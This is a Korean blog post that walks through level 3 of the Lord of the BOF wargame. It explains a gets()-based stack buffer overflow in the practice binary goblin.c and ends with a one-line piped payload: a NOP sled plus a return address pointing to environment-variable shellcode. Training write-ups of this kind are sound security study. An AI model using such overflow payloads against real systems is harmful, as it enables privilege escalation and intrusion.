3omh4n
3omh4
3omh4n
  • 분류 전체보기 (65)
    • wargame - system (0)
      • DreamHack (9)
      • FTZ (5)
      • LoB (4)
      • pwnable.kr (1)
    • wargame - reversing (0)
      • DreamHack (5)
    • wargame - web (6)
      • webhacking.kr (3)
      • DreamHack (3)
      • HackCTF (0)
    • CS (21)
      • system (19)
      • reversing (0)
      • Linux (2)
    • python (5)
      • Flask (5)
    • C++ (3)
    • 개인기록 (2)
    • 이거저거 (4)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

최근 댓글

최근 글

태그

  • flask
  • Devtools
  • C++
  • BOF
  • ftz
  • ROP
  • Programming
  • hacking
  • Reversing
  • python
  • webhacking
  • RELRO
  • langage
  • LOB
  • Dreamhack
  • pwntools
  • hackerschool
  • systemhacking
  • System
  • error

티스토리

전체 방문자
오늘
어제
3omh4n

3omh4

[LoB] Level3 : cobolt >> goblin
wargame - system/LoB

[LoB] Level3 : cobolt >> goblin

2022. 11. 13. 16:56
ID : cobolt
PW : hacking exposed

이번에도 전체적인 흐름은 다음과 같다.

  1. 취약점 찾기
  2. 페이로드 작성
  3. 취약점 트리거 및 비밀번호 획득

이 과정을 잊지말고 leve3을 진행해보자.

1. 취약점 찾기

디렉토리 내에 어떤 파일이 존재하는지 먼저 확인해본다. 이번에도 다음 레벨(goblin)로 setreuid가 설정되어 있는 실행파일 하나와 그 바이너리의 소스코드파일(goblin.c)이 있다. 역시나 다음 할 일은 goblin.c를 보고 취약점을 찾는 일이다.

[cobolt@localhost cobolt]$ nl goblin.c
     1	/*
     2	        The Lord of the BOF : The Fellowship of the BOF
     3	        - goblin
     4	        - small buffer + stdin
     5	*/
     6	int main()
     7	{
     8	    char buffer[16];
     9	    gets(buffer);
    10	    printf("%s\n", buffer);
    11	}

이번에는 작은 버퍼에 gets 함수를 통해 입력을 받고있다. gets함수에서 buffer overflow가 발생할 수 있다!! gets함수는 문자열을 입력 받는 함수이지만, 문자열을 담을 공간의 크기(여기서는 buffer의 크기)와 입력받을 문자열의 크기를 확인하지않고 입력을 받아 buffer overflow가 일어날 수 있다. 그럼 이제 level2의 환경변수를 이용한 방법과 비슷하게 문제를 해결하면 될 것이다. 근데 이번엔 argv로 인자를 전달할 수 없기 때문에 파이프라인(pipeline, |)을 이용해 인자를 전달해준다.

 

2. 페이로드 작성

level1의 환경변수 방법과 동일하다. 자세한 풀이는 다음 글의 2-5를 참고 바란다.

 

[LoB] Level1 : gate >> gremlin

id : gate pw : gate LoB의 문제들은 해당 level의 권한에서 다음 level 권한을 획득하여 다음 level의 비밀번호를 알아내는 방식이다. 그래서 level1의 gate로 접속해 취약점을 찾아 level2의 gremlin의 권한을 획

3omh4.tistory.com

 

 다만, 위의 방식과는 살짝 다르게 argv로 인자를 넘기는 것이 아니라 파이프라인을 이용해 입력값을 넘겨준다. 파이프라인은 한 라인으로 여러 명령어를 실행하는 방법 중 하나로, 앞 명령의 결과가 뒤 명령의 입력값으로 들어가는 특징이 있다. 따라서 python -c로 페이로드를 먼저 실행하고 다음 명령으로 ./goblin을 실행하면 될 것이다.

 

3. 취약점 트리거 및 비밀번호 획득

환경변수 SHELLCODE의 주소

(python -c 'print("\x90"*20+"\x60\xfe\xff\xbf")';cat) | ./goblin

'wargame - system > LoB' 카테고리의 다른 글

[LoB] Level2 : gremlin >> cobolt  (0) 2022.11.13
[LoB] Level1 : gate >> gremlin  (0) 2022.11.05
[LoB] The Load of BoF - 해커스쿨 BoF 환경 구축  (0) 2022.10.31
    'wargame - system/LoB' 카테고리의 다른 글
    • [LoB] Level2 : gremlin >> cobolt
    • [LoB] Level1 : gate >> gremlin
    • [LoB] The Load of BoF - 해커스쿨 BoF 환경 구축
    3omh4n
    3omh4n

    티스토리툴바